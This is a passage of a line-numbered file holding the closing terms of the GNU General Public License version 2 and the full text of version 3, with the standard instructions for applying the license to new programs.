APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) year name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. 341 | 342 | 343 | 344 | 345 | 346 | GNU GENERAL PUBLIC LICENSE 347 | Version 3, 29 June 2007 348 | 349 | Copyright (C) 2007 Free Software Foundation, Inc. 350 | Everyone is permitted to copy and distribute verbatim copies 351 | of this license document, but changing it is not allowed. 352 | 353 | Preamble 354 | 355 | The GNU General Public License is a free, copyleft license for 356 | software and other kinds of works. 357 | 358 | The licenses for most software and other practical works are designed 359 | to take away your freedom to share and change the works. By contrast, 360 | the GNU General Public License is intended to guarantee your freedom to 361 | share and change all versions of a program--to make sure it remains free 362 | software for all its users. We, the Free Software Foundation, use the 363 | GNU General Public License for most of our software; it applies also to 364 | any other work released this way by its authors. You can apply it to 365 | your programs, too. 366 | 367 | When we speak of free software, we are referring to freedom, not 368 | price. Our General Public Licenses are designed to make sure that you 369 | have the freedom to distribute copies of free software (and charge for 370 | them if you wish), that you receive source code or can get it if you 371 | want it, that you can change the software or use pieces of it in new 372 | free programs, and that you know you can do these things. 373 | 374 | To protect your rights, we need to prevent others from denying you 375 | these rights or asking you to surrender the rights. Therefore, you have 376 | certain responsibilities if you distribute copies of the software, or if 377 | you modify it: responsibilities to respect the freedom of others. 378 | 379 | For example, if you distribute copies of such a program, whether 380 | gratis or for a fee, you must pass on to the recipients the same 381 | freedoms that you received. You must make sure that they, too, receive 382 | or can get the source code. And you must show them these terms so they 383 | know their rights. 384 | 385 | Developers that use the GNU GPL protect your rights with two steps: 386 | (1) assert copyright on the software, and (2) offer you this License 387 | giving you legal permission to copy, distribute and/or modify it. 388 | 389 | For the developers' and authors' protection, the GPL clearly explains 390 | that there is no warranty for this free software. For both users' and 391 | authors' sake, the GPL requires that modified versions be marked as 392 | changed, so that their problems will not be attributed erroneously to 393 | authors of previous versions. 394 | 395 | Some devices are designed to deny users access to install or run 396 | modified versions of the software inside them, although the manufacturer 397 | can do so. This is fundamentally incompatible with the aim of 398 | protecting users' freedom to change the software. The systematic 399 | pattern of such abuse occurs in the area of products for individuals to 400 | use, which is precisely where it is most unacceptable. Therefore, we 401 | have designed this version of the GPL to prohibit the practice for those 402 | products. If such problems arise substantially in other domains, we 403 | stand ready to extend this provision to those domains in future versions 404 | of the GPL, as needed to protect the freedom of users. 405 | 406 | Finally, every program is threatened constantly by software patents. 407 | States should not allow patents to restrict development and use of 408 | software on general-purpose computers, but in those that do, we wish to 409 | avoid the special danger that patents applied to a free program could 410 | make it effectively proprietary. To prevent this, the GPL assures that 411 | patents cannot be used to render the program non-free. 412 | 413 | The precise terms and conditions for copying, distribution and 414 | modification follow. 415 | 416 | TERMS AND CONDITIONS 417 | 418 | 0. Definitions. 419 | 420 | "This License" refers to version 3 of the GNU General Public License. 421 | 422 | "Copyright" also means copyright-like laws that apply to other kinds of 423 | works, such as semiconductor masks. 424 | 425 | "The Program" refers to any copyrightable work licensed under this 426 | License. Each licensee is addressed as "you". "Licensees" and 427 | "recipients" may be individuals or organizations. 428 | 429 | To "modify" a work means to copy from or adapt all or part of the work 430 | in a fashion requiring copyright permission, other than the making of an 431 | exact copy. The resulting work is called a "modified version" of the 432 | earlier work or a work "based on" the earlier work. 433 | 434 | A "covered work" means either the unmodified Program or a work based 435 | on the Program. 436 | 437 | To "propagate" a work means to do anything with it that, without 438 | permission, would make you directly or secondarily liable for 439 | infringement under applicable copyright law, except executing it on a 440 | computer or modifying a private copy. Propagation includes copying, 441 | distribution (with or without modification), making available to the 442 | public, and in some countries other activities as well. 443 | 444 | To "convey" a work means any kind of propagation that enables other 445 | parties to make or receive copies. Mere interaction with a user through 446 | a computer network, with no transfer of a copy, is not conveying. 447 | 448 | An interactive user interface displays "Appropriate Legal Notices" 449 | to the extent that it includes a convenient and prominently visible 450 | feature that (1) displays an appropriate copyright notice, and (2) 451 | tells the user that there is no warranty for the work (except to the 452 | extent that warranties are provided), that licensees may convey the 453 | work under this License, and how to view a copy of this License. If 454 | the interface presents a list of user commands or options, such as a 455 | menu, a prominent item in the list meets this criterion. 456 | 457 | 1. Source Code. 458 | 459 | The "source code" for a work means the preferred form of the work 460 | for making modifications to it. "Object code" means any non-source 461 | form of a work. 462 | 463 | A "Standard Interface" means an interface that either is an official 464 | standard defined by a recognized standards body, or, in the case of 465 | interfaces specified for a particular programming language, one that 466 | is widely used among developers working in that language. 467 | 468 | The "System Libraries" of an executable work include anything, other 469 | than the work as a whole, that (a) is included in the normal form of 470 | packaging a Major Component, but which is not part of that Major 471 | Component, and (b) serves only to enable use of the work with that 472 | Major Component, or to implement a Standard Interface for which an 473 | implementation is available to the public in source code form. A 474 | "Major Component", in this context, means a major essential component 475 | (kernel, window system, and so on) of the specific operating system 476 | (if any) on which the executable work runs, or a compiler used to 477 | produce the work, or an object code interpreter used to run it. 478 | 479 | The "Corresponding Source" for a work in object code form means all 480 | the source code needed to generate, install, and (for an executable 481 | work) run the object code and to modify the work, including scripts to 482 | control those activities. However, it does not include the work's 483 | System Libraries, or general-purpose tools or generally available free 484 | programs which are used unmodified in performing those activities but 485 | which are not part of the work. For example, Corresponding Source 486 | includes interface definition files associated with source files for 487 | the work, and the source code for shared libraries and dynamically 488 | linked subprograms that the work is specifically designed to require, 489 | such as by intimate data communication or control flow between those 490 | subprograms and other parts of the work. 491 | 492 | The Corresponding Source need not include anything that users 493 | can regenerate automatically from other parts of the Corresponding 494 | Source. 495 | 496 | The Corresponding Source for a work in source code form is that 497 | same work. 498 | 499 | 2. Basic Permissions. 500 | 501 | All rights granted under this License are granted for the term of 502 | copyright on the Program, and are irrevocable provided the stated 503 | conditions are met. This License explicitly affirms your unlimited 504 | permission to run the unmodified Program. The output from running a 505 | covered work is covered by this License only if the output, given its 506 | content, constitutes a covered work. This License acknowledges your 507 | rights of fair use or other equivalent, as provided by copyright law. 508 | 509 | You may make, run and propagate covered works that you do not 510 | convey, without conditions so long as your license otherwise remains 511 | in force. You may convey covered works to others for the sole purpose 512 | of having them make modifications exclusively for you, or provide you 513 | with facilities for running those works, provided that you comply with 514 | the terms of this License in conveying all material for which you do 515 | not control copyright. Those thus making or running the covered works 516 | for you must do so exclusively on your behalf, under your direction 517 | and control, on terms that prohibit them from making any copies of 518 | your copyrighted material outside their relationship with you. 519 | 520 | Conveying under any other circumstances is permitted solely under 521 | the conditions stated below. Sublicensing is not allowed; section 10 522 | makes it unnecessary. 523 | 524 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 525 | 526 | No covered work shall be deemed part of an effective technological 527 | measure under any applicable law fulfilling obligations under article 528 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 529 | similar laws prohibiting or restricting circumvention of such 530 | measures. 531 | 532 | When you convey a covered work, you waive any legal power to forbid 533 | circumvention of technological measures to the extent such circumvention 534 | is effected by exercising rights under this License with respect to 535 | the covered work, and you disclaim any intention to limit operation or 536 | modification of the work as a means of enforcing, against the work's 537 | users, your or third parties' legal rights to forbid circumvention of 538 | technological measures. 539 | 540 | 4. Conveying Verbatim Copies. 541 | 542 | You may convey verbatim copies of the Program's source code as you 543 | receive it, in any medium, provided that you conspicuously and 544 | appropriately publish on each copy an appropriate copyright notice; 545 | keep intact all notices stating that this License and any 546 | non-permissive terms added in accord with section 7 apply to the code; 547 | keep intact all notices of the absence of any warranty; and give all 548 | recipients a copy of this License along with the Program. 549 | 550 | You may charge any price or no price for each copy that you convey, 551 | and you may offer support or warranty protection for a fee. 552 | 553 | 5. Conveying Modified Source Versions. 554 | 555 | You may convey a work based on the Program, or the modifications to 556 | produce it from the Program, in the form of source code under the 557 | terms of section 4, provided that you also meet all of these conditions: 558 | 559 | a) The work must carry prominent notices stating that you modified 560 | it, and giving a relevant date. 561 | 562 | b) The work must carry prominent notices stating that it is 563 | released under this License and any conditions added under section 564 | 7. This requirement modifies the requirement in section 4 to 565 | "keep intact all notices". 566 | 567 | c) You must license the entire work, as a whole, under this 568 | License to anyone who comes into possession of a copy. This 569 | License will therefore apply, along with any applicable section 7 570 | additional terms, to the whole of the work, and all its parts, 571 | regardless of how they are packaged. This License gives no 572 | permission to license the work in any other way, but it does not 573 | invalidate such permission if you have separately received it. 574 | 575 | d) If the work has interactive user interfaces, each must display 576 | Appropriate Legal Notices; however, if the Program has interactive 577 | interfaces that do not display Appropriate Legal Notices, your 578 | work need not make them do so. 579 | 580 | A compilation of a covered work with other separate and independent 581 | works, which are not by their nature extensions of the covered work, 582 | and which are not combined with it such as to form a larger program, 583 | in or on a volume of a storage or distribution medium, is called an 584 | "aggregate" if the compilation and its resulting copyright are not 585 | used to limit the access or legal rights of the compilation's users 586 | beyond what the individual works permit. Inclusion of a covered work 587 | in an aggregate does not cause this License to apply to the other 588 | parts of the aggregate. 589 | 590 | 6. Conveying Non-Source Forms. 591 | 592 | You may convey a covered work in object code form under the terms 593 | of sections 4 and 5, provided that you also convey the 594 | machine-readable Corresponding Source under the terms of this License, 595 | in one of these ways: 596 | 597 | a) Convey the object code in, or embodied in, a physical product 598 | (including a physical distribution medium), accompanied by the 599 | Corresponding Source fixed on a durable physical medium 600 | customarily used for software interchange. 601 | 602 | b) Convey the object code in, or embodied in, a physical product 603 | (including a physical distribution medium), accompanied by a 604 | written offer, valid for at least three years and valid for as 605 | long as you offer spare parts or customer support for that product 606 | model, to give anyone who possesses the object code either (1) a 607 | copy of the Corresponding Source for all the software in the 608 | product that is covered by this License, on a durable physical 609 | medium customarily used for software interchange, for a price no 610 | more than your reasonable cost of physically performing this 611 | conveying of source, or (2) access to copy the 612 | Corresponding Source from a network server at no charge. 613 | 614 | c) Convey individual copies of the object code with a copy of the 615 | written offer to provide the Corresponding Source. This 616 | alternative is allowed only occasionally and noncommercially, and 617 | only if you received the object code with such an offer, in accord 618 | with subsection 6b. 619 | 620 | d) Convey the object code by offering access from a designated 621 | place (gratis or for a charge), and offer equivalent access to the 622 | Corresponding Source in the same way through the same place at no 623 | further charge. You need not require recipients to copy the 624 | Corresponding Source along with the object code. If the place to 625 | copy the object code is a network server, the Corresponding Source 626 | may be on a different server (operated by you or a third party) 627 | that supports equivalent copying facilities, provided you maintain 628 | clear directions next to the object code saying where to find the 629 | Corresponding Source. Regardless of what server hosts the 630 | Corresponding Source, you remain obligated to ensure that it is 631 | available for as long as needed to satisfy these requirements. 632 | 633 | e) Convey the object code using peer-to-peer transmission, provided 634 | you inform other peers where the object code and Corresponding 635 | Source of the work are being offered to the general public at no 636 | charge under subsection 6d. 637 | 638 | A separable portion of the object code, whose source code is excluded 639 | from the Corresponding Source as a System Library, need not be 640 | included in conveying the object code work. 641 | 642 | A "User Product" is either (1) a "consumer product", which means any 643 | tangible personal property which is normally used for personal, family, 644 | or household purposes, or (2) anything designed or sold for incorporation 645 | into a dwelling. In determining whether a product is a consumer product, 646 | doubtful cases shall be resolved in favor of coverage. For a particular 647 | product received by a particular user, "normally used" refers to a 648 | typical or common use of that class of product, regardless of the status 649 | of the particular user or of the way in which the particular user 650 | actually uses, or expects or is expected to use, the product. A product 651 | is a consumer product regardless of whether the product has substantial 652 | commercial, industrial or non-consumer uses, unless such uses represent 653 | the only significant mode of use of the product. 654 | 655 | "Installation Information" for a User Product means any methods, 656 | procedures, authorization keys, or other information required to install 657 | and execute modified versions of a covered work in that User Product from 658 | a modified version of its Corresponding Source. The information must 659 | suffice to ensure that the continued functioning of the modified object 660 | code is in no case prevented or interfered with solely because 661 | modification has been made. 662 | 663 | If you convey an object code work under this section in, or with, or 664 | specifically for use in, a User Product, and the conveying occurs as 665 | part of a transaction in which the right of possession and use of the 666 | User Product is transferred to the recipient in perpetuity or for a 667 | fixed term (regardless of how the transaction is characterized), the 668 | Corresponding Source conveyed under this section must be accompanied 669 | by the Installation Information. But this requirement does not apply 670 | if neither you nor any third party retains the ability to install 671 | modified object code on the User Product (for example, the work has 672 | been installed in ROM). 673 | 674 | The requirement to provide Installation Information does not include a 675 | requirement to continue to provide support service, warranty, or updates 676 | for a work that has been modified or installed by the recipient, or for 677 | the User Product in which it has been modified or installed. Access to a 678 | network may be denied when the modification itself materially and 679 | adversely affects the operation of the network or violates the rules and 680 | protocols for communication across the network. 681 | 682 | Corresponding Source conveyed, and Installation Information provided, 683 | in accord with this section must be in a format that is publicly 684 | documented (and with an implementation available to the public in 685 | source code form), and must require no special password or key for 686 | unpacking, reading or copying. 687 | 688 | 7. Additional Terms. 689 | 690 | "Additional permissions" are terms that supplement the terms of this 691 | License by making exceptions from one or more of its conditions. 692 | Additional permissions that are applicable to the entire Program shall 693 | be treated as though they were included in this License, to the extent 694 | that they are valid under applicable law. If additional permissions 695 | apply only to part of the Program, that part may be used separately 696 | under those permissions, but the entire Program remains governed by 697 | this License without regard to the additional permissions. 698 | 699 | When you convey a copy of a covered work, you may at your option 700 | remove any additional permissions from that copy, or from any part of 701 | it. (Additional permissions may be written to require their own 702 | removal in certain cases when you modify the work.) You may place 703 | additional permissions on material, added by you to a covered work, 704 | for which you have or can give appropriate copyright permission. 705 | 706 | Notwithstanding any other provision of this License, for material you 707 | add to a covered work, you may (if authorized by the copyright holders of 708 | that material) supplement the terms of this License with terms: 709 | 710 | a) Disclaiming warranty or limiting liability differently from the 711 | terms of sections 15 and 16 of this License; or 712 | 713 | b) Requiring preservation of specified reasonable legal notices or 714 | author attributions in that material or in the Appropriate Legal 715 | Notices displayed by works containing it; or 716 | 717 | c) Prohibiting misrepresentation of the origin of that material, or 718 | requiring that modified versions of such material be marked in 719 | reasonable ways as different from the original version; or 720 | 721 | d) Limiting the use for publicity purposes of names of licensors or 722 | authors of the material; or 723 | 724 | e) Declining to grant rights under trademark law for use of some 725 | trade names, trademarks, or service marks; or 726 | 727 | f) Requiring indemnification of licensors and authors of that 728 | material by anyone who conveys the material (or modified versions of 729 | it) with contractual assumptions of liability to the recipient, for 730 | any liability that these contractual assumptions directly impose on 731 | those licensors and authors. 732 | 733 | All other non-permissive additional terms are considered "further 734 | restrictions" within the meaning of section 10. If the Program as you 735 | received it, or any part of it, contains a notice stating that it is 736 | governed by this License along with a term that is a further 737 | restriction, you may remove that term. If a license document contains 738 | a further restriction but permits relicensing or conveying under this 739 | License, you may add to a covered work material governed by the terms 740 | of that license document, provided that the further restriction does 741 | not survive such relicensing or conveying. 742 | 743 | If you add terms to a covered work in accord with this section, you 744 | must place, in the relevant source files, a statement of the 745 | additional terms that apply to those files, or a notice indicating 746 | where to find the applicable terms. 747 | 748 | Additional terms, permissive or non-permissive, may be stated in the 749 | form of a separately written license, or stated as exceptions; 750 | the above requirements apply either way. 751 | 752 | 8. Termination. 753 | 754 | You may not propagate or modify a covered work except as expressly 755 | provided under this License. Any attempt otherwise to propagate or 756 | modify it is void, and will automatically terminate your rights under 757 | this License (including any patent licenses granted under the third 758 | paragraph of section 11). 759 | 760 | However, if you cease all violation of this License, then your 761 | license from a particular copyright holder is reinstated (a) 762 | provisionally, unless and until the copyright holder explicitly and 763 | finally terminates your license, and (b) permanently, if the copyright 764 | holder fails to notify you of the violation by some reasonable means 765 | prior to 60 days after the cessation. 766 | 767 | Moreover, your license from a particular copyright holder is 768 | reinstated permanently if the copyright holder notifies you of the 769 | violation by some reasonable means, this is the first time you have 770 | received notice of violation of this License (for any work) from that 771 | copyright holder, and you cure the violation prior to 30 days after 772 | your receipt of the notice. 773 | 774 | Termination of your rights under this section does not terminate the 775 | licenses of parties who have received copies or rights from you under 776 | this License. If your rights have been terminated and not permanently 777 | reinstated, you do not qualify to receive new licenses for the same 778 | material under section 10. 779 | 780 | 9. Acceptance Not Required for Having Copies. 781 | 782 | You are not required to accept this License in order to receive or 783 | run a copy of the Program. Ancillary propagation of a covered work 784 | occurring solely as a consequence of using peer-to-peer transmission 785 | to receive a copy likewise does not require acceptance. However, 786 | nothing other than this License grants you permission to propagate or 787 | modify any covered work. These actions infringe copyright if you do 788 | not accept this License. Therefore, by modifying or propagating a 789 | covered work, you indicate your acceptance of this License to do so. 790 | 791 | 10. Automatic Licensing of Downstream Recipients. 792 | 793 | Each time you convey a covered work, the recipient automatically 794 | receives a license from the original licensors, to run, modify and 795 | propagate that work, subject to this License. You are not responsible 796 | for enforcing compliance by third parties with this License. 797 | 798 | An "entity transaction" is a transaction transferring control of an 799 | organization, or substantially all assets of one, or subdividing an 800 | organization, or merging organizations. If propagation of a covered 801 | work results from an entity transaction, each party to that 802 | transaction who receives a copy of the work also receives whatever 803 | licenses to the work the party's predecessor in interest had or could 804 | give under the previous paragraph, plus a right to possession of the 805 | Corresponding Source of the work from the predecessor in interest, if 806 | the predecessor has it or can get it with reasonable efforts. 807 | 808 | You may not impose any further restrictions on the exercise of the 809 | rights granted or affirmed under this License. For example, you may 810 | not impose a license fee, royalty, or other charge for exercise of 811 | rights granted under this License, and you may not initiate litigation 812 | (including a cross-claim or counterclaim in a lawsuit) alleging that 813 | any patent claim is infringed by making, using, selling, offering for 814 | sale, or importing the Program or any portion of it. 815 | 816 | 11. Patents. 817 | 818 | A "contributor" is a copyright holder who authorizes use under this 819 | License of the Program or a work on which the Program is based. The 820 | work thus licensed is called the contributor's "contributor version". 821 | 822 | A contributor's "essential patent claims" are all patent claims 823 | owned or controlled by the contributor, whether already acquired or 824 | hereafter acquired, that would be infringed by some manner, permitted 825 | by this License, of making, using, or selling its contributor version, 826 | but do not include claims that would be infringed only as a 827 | consequence of further modification of the contributor version. For 828 | purposes of this definition, "control" includes the right to grant 829 | patent sublicenses in a manner consistent with the requirements of 830 | this License. 831 | 832 | Each contributor grants you a non-exclusive, worldwide, royalty-free 833 | patent license under the contributor's essential patent claims, to 834 | make, use, sell, offer for sale, import and otherwise run, modify and 835 | propagate the contents of its contributor version. 836 | 837 | In the following three paragraphs, a "patent license" is any express 838 | agreement or commitment, however denominated, not to enforce a patent 839 | (such as an express permission to practice a patent or covenant not to 840 | sue for patent infringement). To "grant" such a patent license to a 841 | party means to make such an agreement or commitment not to enforce a 842 | patent against the party. 843 | 844 | If you convey a covered work, knowingly relying on a patent license, 845 | and the Corresponding Source of the work is not available for anyone 846 | to copy, free of charge and under the terms of this License, through a 847 | publicly available network server or other readily accessible means, 848 | then you must either (1) cause the Corresponding Source to be so 849 | available, or (2) arrange to deprive yourself of the benefit of the 850 | patent license for this particular work, or (3) arrange, in a manner 851 | consistent with the requirements of this License, to extend the patent 852 | license to downstream recipients. "Knowingly relying" means you have 853 | actual knowledge that, but for the patent license, your conveying the 854 | covered work in a country, or your recipient's use of the covered work 855 | in a country, would infringe one or more identifiable patents in that 856 | country that you have reason to believe are valid. 857 | 858 | If, pursuant to or in connection with a single transaction or 859 | arrangement, you convey, or propagate by procuring conveyance of, a 860 | covered work, and grant a patent license to some of the parties 861 | receiving the covered work authorizing them to use, propagate, modify 862 | or convey a specific copy of the covered work, then the patent license 863 | you grant is automatically extended to all recipients of the covered 864 | work and works based on it. 865 | 866 | A patent license is "discriminatory" if it does not include within 867 | the scope of its coverage, prohibits the exercise of, or is 868 | conditioned on the non-exercise of one or more of the rights that are 869 | specifically granted under this License. You may not convey a covered 870 | work if you are a party to an arrangement with a third party that is 871 | in the business of distributing software, under which you make payment 872 | to the third party based on the extent of your activity of conveying 873 | the work, and under which the third party grants, to any of the 874 | parties who would receive the covered work from you, a discriminatory 875 | patent license (a) in connection with copies of the covered work 876 | conveyed by you (or copies made from those copies), or (b) primarily 877 | for and in connection with specific products or compilations that 878 | contain the covered work, unless you entered into that arrangement, 879 | or that patent license was granted, prior to 28 March 2007. 880 | 881 | Nothing in this License shall be construed as excluding or limiting 882 | any implied license or other defenses to infringement that may 883 | otherwise be available to you under applicable patent law. 884 | 885 | 12. No Surrender of Others' Freedom. 886 | 887 | If conditions are imposed on you (whether by court order, agreement or 888 | otherwise) that contradict the conditions of this License, they do not 889 | excuse you from the conditions of this License. If you cannot convey a 890 | covered work so as to satisfy simultaneously your obligations under this 891 | License and any other pertinent obligations, then as a consequence you may 892 | not convey it at all. For example, if you agree to terms that obligate you 893 | to collect a royalty for further conveying from those to whom you convey 894 | the Program, the only way you could satisfy both those terms and this 895 | License would be to refrain entirely from conveying the Program. 896 | 897 | 13. Use with the GNU Affero General Public License. 898 | 899 | Notwithstanding any other provision of this License, you have 900 | permission to link or combine any covered work with a work licensed 901 | under version 3 of the GNU Affero General Public License into a single 902 | combined work, and to convey the resulting work. The terms of this 903 | License will continue to apply to the part which is the covered work, 904 | but the special requirements of the GNU Affero General Public License, 905 | section 13, concerning interaction through a network will apply to the 906 | combination as such. 907 | 908 | 14. Revised Versions of this License. 909 | 910 | The Free Software Foundation may publish revised and/or new versions of 911 | the GNU General Public License from time to time. Such new versions will 912 | be similar in spirit to the present version, but may differ in detail to 913 | address new problems or concerns. 914 | 915 | Each version is given a distinguishing version number. If the 916 | Program specifies that a certain numbered version of the GNU General 917 | Public License "or any later version" applies to it, you have the 918 | option of following the terms and conditions either of that numbered 919 | version or of any later version published by the Free Software 920 | Foundation. If the Program does not specify a version number of the 921 | GNU General Public License, you may choose any version ever published 922 | by the Free Software Foundation. 923 | 924 | If the Program specifies that a proxy can decide which future 925 | versions of the GNU General Public License can be used, that proxy's 926 | public statement of acceptance of a version permanently authorizes you 927 | to choose that version for the Program. 928 | 929 | Later license versions may give you additional or different 930 | permissions. However, no additional obligations are imposed on any 931 | author or copyright holder as a result of your choosing to follow a 932 | later version. 933 | 934 | 15. Disclaimer of Warranty. 935 | 936 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 937 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 938 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 939 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 940 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 941 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 942 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 943 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 944 | 945 | 16. Limitation of Liability. 946 | 947 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 948 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 949 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 950 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 951 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 952 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 953 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 954 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 955 | SUCH DAMAGES. 956 | 957 | 17. Interpretation of Sections 15 and 16. 958 | 959 | If the disclaimer of warranty and limitation of liability provided 960 | above cannot be given local legal effect according to their terms, 961 | reviewing courts shall apply local law that most closely approximates 962 | an absolute waiver of all civil liability in connection with the 963 | Program, unless a warranty or assumption of liability accompanies a 964 | copy of the Program in return for a fee. 965 | 966 | END OF TERMS AND CONDITIONS 967 | 968 | How to Apply These Terms to Your New Programs 969 | 970 | If you develop a new program, and you want it to be of the greatest 971 | possible use to the public, the best way to achieve this is to make it 972 | free software which everyone can redistribute and change under these terms. 973 | 974 | To do so, attach the following notices to the program. It is safest 975 | to attach them to the start of each source file to most effectively 976 | state the exclusion of warranty; and each file should have at least 977 | the "copyright" line and a pointer to where the full notice is found. 978 | 979 | {one line to give the program's name and a brief idea of what it does.} 980 | Copyright (C) {year} {name of author} 981 | 982 | This program is free software: you can redistribute it and/or modify 983 | it under the terms of the GNU General Public License as published by 984 | the Free Software Foundation, either version 3 of the License, or 985 | (at your option) any later version. 986 | 987 | This program is distributed in the hope that it will be useful, 988 | but WITHOUT ANY WARRANTY; without even the implied warranty of 989 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 990 | GNU General Public License for more details. 991 | 992 | You should have received a copy of the GNU General Public License 993 | along with this program. If not, see . 994 | 995 | Also add information on how to contact you by electronic and paper mail. 996 | 997 | If the program does terminal interaction, make it output a short 998 | notice like this when it starts in an interactive mode: 999 | 1000 | {project} Copyright (C) {year} {fullname} 1001 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 1002 | This is free software, and you are welcome to redistribute it 1003 | under certain conditions; type `show c' for details. 1004 | 1005 | The hypothetical commands `show w' and `show c' should show the appropriate 1006 | parts of the General Public License. Of course, your program's commands 1007 | might be different; for a GUI interface, you would use an "about box". 1008 | 1009 | You should also get your employer (if you work as a programmer) or school, 1010 | if any, to sign a "copyright disclaimer" for the program, if necessary. 1011 | For more information on this, and how to apply and follow the GNU GPL, see 1012 | . 1013 | 1014 | The GNU General Public License does not permit incorporating your program 1015 | into proprietary programs. If your program is a subroutine library, you 1016 | may consider it more useful to permit linking proprietary applications with 1017 | the library. If this is what you want to do, use the GNU Lesser General 1018 | Public License instead of this License. But first, please read 1019 | . 1020 | 1021 | --------------------------------------------------------------------------------